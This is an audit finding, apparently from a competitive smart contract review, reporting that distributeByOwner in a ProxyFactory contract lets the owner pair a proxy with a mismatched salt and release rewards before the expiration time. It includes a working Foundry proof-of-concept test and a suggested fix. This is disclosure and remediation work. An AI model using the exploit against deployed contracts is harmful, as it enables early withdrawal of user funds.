Sparkn

CodeFox Inc.
DeFiFoundryProxy
15,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

mismatching the salt with the proxy allow the owner to distribute and take the tokens in the proxy before the EXPIRATION_TIME has finished , which cause loss of funds for the users

castleChain

Summary

the owner can take the reward from the proxy before the EXPIRATION_TIME is passed .

Vulnerability Details

in the function distributeByOwner() the owner need to pass the proxy ,organizer, contestId , implementation , and data , and there is nothing prevent the owner from passing the organizer, contestId , implementation of one proxy and a different proxy as the parameter proxy , if the salt that is calculated in this function has smaller closetime than the salt that is used to deploy the proxy , this will allow the owner to get the reward (tokens) before the supposed time is passed .
the function distributeByOwner call the internal function _distribute() ,and then emit the event event Distributed(address indexed proxy, bytes data); , this will lead to loss of funds for the organizer and the winners .

Poc

1)imagine that the owner set two different contests the first with salt0 and the secound with salt1 by calling the function setContest() twice .
2)the salt0 has 100 seconds as saltCloseTime0 and the salt1 has 50 seconds as the saltCloseTime1.
3)the owner call the function distributeByOwner() and pass proxy0 that has been deployed by salt0 and pass the rest of the parameters (organizer, contestId , implementation) that result in the salt1 with the smaller saltCloseTime
4) finally the function will not revert since the check (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) will return false , and then call the internal _distribute() with proxy0 and the owner will distribute the rewards as he wants although the saltCloseTime0 + EXPIRATION_TIME has not ended yet .

Poc2

the test testMismatchTheProxyWithSalt() will pass successfully and the owenr distributed the reward of the proxy2 although the CloseTime2 did not finished yet , the owner did it by using the salt1 which is corresponding to much lower closeTime .

  • if you change the contestId1 to be contestId2 in the last ecternal call on the function distributeByOwner() ,the test will revert .

contract test is Test {
Distributor distributer;
ProxyFactory factory;
Proxy proxy;
MockERC20 weth;
​
address user1 = makeAddr("user1");
address owner = makeAddr("owner");
address user2 = makeAddr("user2");
address organizer = makeAddr("organizer");
address stadium = makeAddr("stadium");
​
bytes32 contestId1 = 0x0000000000000000000000000000000000000000000000000000000000000001;
bytes32 contestId2 = 0x0000000000000000000000000000000000000000000000000000000000000002;
​
uint256 closeTime1;
uint256 closeTime2;
​
address[] whitelisedTokens = new address[](1);
​
uint256 public constant EXPIRATION_TIME = 7 days;
​
function setUp() external {
weth = new MockERC20("Weth" , "WETH");
whitelisedTokens[0] = address(weth);
vm.prank(owner);
factory = new ProxyFactory(whitelisedTokens);
​
distributer = new Distributor(address(factory) , stadium);
​
weth.mint(organizer, 100 * 10 ** 18);
}
​
function testMismatchTheProxyWithSalt() external {
closeTime1 = block.timestamp + 1;
closeTime2 = block.timestamp + 2 days;
​
vm.startPrank(owner);
factory.setContest(organizer, contestId1, closeTime1, address(distributer));
factory.setContest(organizer, contestId2, closeTime2, address(distributer));
​
bytes32 salt1 = _calculateSalt(organizer, contestId1, address(distributer));
bytes32 salt2 = _calculateSalt(organizer, contestId2, address(distributer));
​
address proxy1 = factory.getProxyAddress(salt1, address(distributer));
address proxy2 = factory.getProxyAddress(salt2, address(distributer));
​
vm.startPrank(organizer);
weth.transfer(proxy1, 50 * 10 ** 18);
weth.transfer(proxy2, 50 * 10 ** 18);
​
vm.warp(closeTime1 + EXPIRATION_TIME + 1);
vm.startPrank(owner);
bytes memory data = createData();
// this call should revert because the proxy2 the time of closeTime2 has not ended yet but this will not revert
// supposed to revert but it will not revert
// use the salt1 to distribute reward of the proxy2 , althought the close time has not passed
factory.distributeByOwner(proxy2, organizer, contestId1, address(distributer), data);
}
​
function _calculateSalt(address organizer11, bytes32 contestId, address implementation)
internal
pure
returns (bytes32)
{
return keccak256(abi.encode(organizer11, contestId, implementation));
}
​
function createData() public view returns (bytes memory data) {
address[] memory winners = new address[](2);
winners[0] = user1;
winners[1] = user2;
uint256[] memory percentages_ = new uint256[](2);
percentages_[0] = 500;
percentages_[1] = 9500 - 500;
data = abi.encodeWithSelector(Distributor.distribute.selector, address(weth), winners, percentages_, "");
}
}

Impact

the owner can take or distribute the rewards as he wants before the EXPIRATION_TIME + saltCloseTime has passed , which will lead to loss of funds .

Tools Used

manual review

Recommendations

instead of taking proxy as a parameter from the owner , calculate the proxyaddress by calling the function getProxyAddress() and pass the salt ,that is calculated from the (organizer, contestId , implementation) by calling the function _calculateSalt(), and the implementation address , this will ensure that the proxy will always match the salt .

function distributeByOwner(
--
address organizer,
bytes32 contestId,
address implementation,
bytes calldata data
) public onlyOwner {
bytes32 salt = _calculateSalt(organizer, contestId, implementation);
​
++ address proxy = getProxyAddress(salt , implementation) ;
if (proxy == address(0)) revert ProxyFactory__ProxyAddressCannotBeZero();
if (saltToCloseTime[salt] == 0) revert ProxyFactory__ContestIsNotRegistered();
// distribute only when it exists and expired
if (saltToCloseTime[salt] + EXPIRATION_TIME > block.timestamp) revert ProxyFactory__ContestIsNotExpired();
_distribute(proxy, data);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.